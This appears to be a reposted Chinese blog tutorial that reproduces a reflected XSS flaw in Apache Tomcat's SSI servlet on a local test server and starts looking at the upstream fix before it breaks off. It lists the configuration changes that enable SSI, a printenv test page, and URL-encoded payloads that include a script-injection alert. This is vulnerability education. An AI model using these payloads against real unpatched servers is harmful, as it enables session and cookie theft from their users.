我成功攻击了Tomcat服务器,大佬们的反应亮了


我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
Tomcat是一个开源的轻量级Web应用服务器 , 在我们平常工作过程中接触得非常多 。代码也非常经典 , 很多人为了提升自己的技术也会去阅读学习Tomcat的源码 。但正如著名诗人李白所说的:世界上本没有漏洞 , 使用的人多了 , 也就发现了漏洞 。比如今年的2月份就爆出了存在文件包含漏洞 。
今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程 , 以及漏洞为什么会产生 , Tomcat大神们又是如何应对的 。
【攻击一:XSS攻击】一、SSI技术说明首先演示的漏洞和Tomcat的SSI功能有关 , SSI是什么
SSI技术 , 也叫作Serve Side Includes , SSI(服务器端包含)是放置在html页面中的指令 , 并在服务页面时在服务器上对其进行评估 。它们使您可以将动态生成的内容添加到现有的HTML页面 , 而不必通过CGI程序或其他动态技术来提供整个页面 。使用SSI技术文件默认的后缀名为.shtml;
举例:我们可以将指令放置到现有的HTML页面中 , 例如:
!--#echo var="DATE_LOCAL" -->当该页面被执行时 , 将会显示如下结果
Sunday, 22-March-2020 18:28:54 GMTSSI最常见的用途之一:输出CGI程序的结果 , 例如``命中计数器'' 。关于该技术更为详细的说明参见:http://httpd.Apache.org/docs/current/howto/ssi.html
二、为Tomcat开启SSI
  1. 准备好JRE、tomcat环境 , 我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
  2. 修改conf/context.xml第19行 , 开启权限
<Context privileged="true">
  1. 修改confweb.xml , 开启SSI Servlet 。该段代码默认是被注释掉的 , 我们删除注释即可 , 代码在310-322行 。
<servlet><servlet-name>ssi</servlet-name><servlet-class>org.apache.catalina.ssi.SSIServlet</servlet-class><init-param><param-name>buffered</param-name><param-value>1</param-value></init-param><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>expires</param-name><param-value>666</param-value></init-param><init-param><param-name>isVirtualWebAppRelative</param-name><param-value>false</param-value></init-param><load-on-startup>4</load-on-startup></servlet>去掉关于ssi配置的注释 422-425行
<servlet-mapping><servlet-name>ssi</servlet-name><url-pattern>*.shtml</url-pattern></servlet-mapping>
  1. 在根目录下添加madashu_env.shtml(习惯性命名为printEnv.shtml)文件 , 位于webapps/ROOT/ssi/
<html><head><title></title><body>Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>Env: <!--#printenv --></body></html>
  1. 启动Tomcat即可
三、发起攻击
  1. 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
2. XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E攻击成功 , 页面展示如下 。
我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序 , 攻击者还可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容 。
四、源码分析漏洞产生后 , Tomcat大神们迅速修复了该漏洞 , 我们从Github上找到当时的代码修复提交记录:点击查看commit
我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
说真的 , 当时看到这段修复代码我是惊呆了 , 这是什么骚操作!!!“entity”又是什么鬼!!!


推荐阅读